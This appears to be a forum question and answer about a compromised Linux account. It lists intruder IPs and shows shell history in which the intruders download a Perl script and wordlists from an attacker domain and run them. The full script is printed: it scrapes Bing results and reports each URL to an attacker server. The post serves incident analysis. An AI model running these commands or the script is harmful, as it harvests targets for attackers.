There was an account named “user” that would be used for these logins, which would be from all over the world. I spent several hours yesterday securing the computer and there have been no logins since that time. I awk
ed the /var/log/auth.log into a list of ips ordered from oldest to most recent login, if that somehow helps:
185.145.252.26 185.145.252.36 109.236.83.3 104.167.2.4 217.23.13.125 185.38.148.238 194.88.106.146 43.225.107.70 194.88.107.163 192.162.101.217 62.112.11.88 194.63.141.141 194.88.107.162 74.222.19.247 194.88.107.164 178.137.184.237 167.114.210.108 5.196.76.41 118.70.72.25 109.236.91.85 62.112.11.222 91.195.103.172 62.112.11.94 62.112.11.90 188.27.75.73 194.88.106.197 194.88.107.165 38.84.132.236 91.197.235.11 62.112.11.79 62.112.11.223 144.76.112.21 185.8.7.144 91.230.47.91 91.230.47.92 91.195.103.189 91.230.47.89 91.230.47.90 109.236.89.72 195.228.11.82 109.236.92.184 46.175.121.38 94.177.190.188 171.251.76.179 173.212.230.79 144.217.75.30 5.141.202.235 31.207.47.36 62.112.11.86 217.23.2.183 217.23.1.87 154.122.98.44 41.47.42.128 41.242.137.33 171.232.175.131 41.114.123.190 1.54.115.72 108.170.8.185 86.121.85.122 91.197.232.103 160.0.224.69 217.23.2.77 212.83.171.102 41.145.17.243 62.112.11.81 82.79.252.36 41.114.63.134 5.56.133.126 109.120.131.106 76.68.108.151 113.20.108.27 46.246.61.20 146.185.28.52 45.32.219.199
One of the first things I did after changing the password of the “user” account was running history
, which gave me this result:
1 sudo 2 sudo 3 sudo service vsftpd stop 4 su clay 5 unset PROMPT_COMMAND 6 PS1='[PEXPECT]$' 7 wget http://xpl.silverlords.org/bing -O bing 8 wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word 9 wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word 10 uname 11 n 12 uname 13 history
I then ran cat /home/user/.bash_history
for more but what I already had was all that was in the file.
In “user”‘s home folder, I found four files, bing
, output.13.19.27.txt
, output.16.10.38.txt
, and word
. All were empty except bing, which was a perl script:
#!/usr/bin/perl use strict; use LWP::UserAgent; use LWP::Simple; use POSIX qw(strftime); my $data = strftime "%H.%M.%S", gmtime; my $ARGC = @ARGV; if ($ARGC !=1) { printf "$0 arquivo.txtn"; printf "Coded by: Al3xG0 x@~n"; exit(1); } my $st = rand(); my $filename = $ARGV[0]; print "Input Filename - $filenamen"; my $max_results = 2; open (IFH, "< $filename") or die $!; open (OFH, "> output.${data}.txt") or die $!; while (<IFH>) { next if /^ *$/; my $search_word = $_; $search_word =~ s/n//; print "Results for -$search_word-n"; for (my $i = 0; $i < $max_results; $i += 10) { my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)'); $b->timeout(30); $b->env_proxy; my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content; my $check = index($c, 'sb_pagN'); if ($check == -1) { last; } while (1) { my $n = index($c, '<h2><a href="'); if ($n == -1) { last; } $c = substr($c, $n + 13); my $s = substr($c, 0, index($c, '"')); my $save = undef; if ($s =~ /http://([^/]+)//g) { $save = $s; } print "$saven"; #if ($save !~ /^ *$/) { print OFH "$saven"; print "$saven"}; getprint("http://post.silverlords.org/sites.php?site=$save"); } } print "n"; } close (IFH); close (OFH);
I don’t know perl, and after spending so much time with sshd config, blacklists, etc., I don’t really have the time or energy to learn. If anyone could tell me what the script does and/or what the attackers were trying to do that would be great.
Thanks so much,
Clay
EDIT: I found this article that could explain the purpose of the bing search script: https://www.wired.com/2013/02/microsoft-bing-fights-botnets/
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Answer
It reads the file passed on the command line, and uses each line as a phrase to do a Bing search. It prints the URL of every search result returned by Bing, and also sends it to http://post.silverlords.org/sites.php?site=$save
where $save
is the URL
It used to write the same URLs to the output.HH.MM.SS.txt
files, but that line has been commented out so the files are created but left empty
So it’s just a command-line bing
search; nothing too sinister. Essentially nothing that they couldn’t run on any machine that has access to bing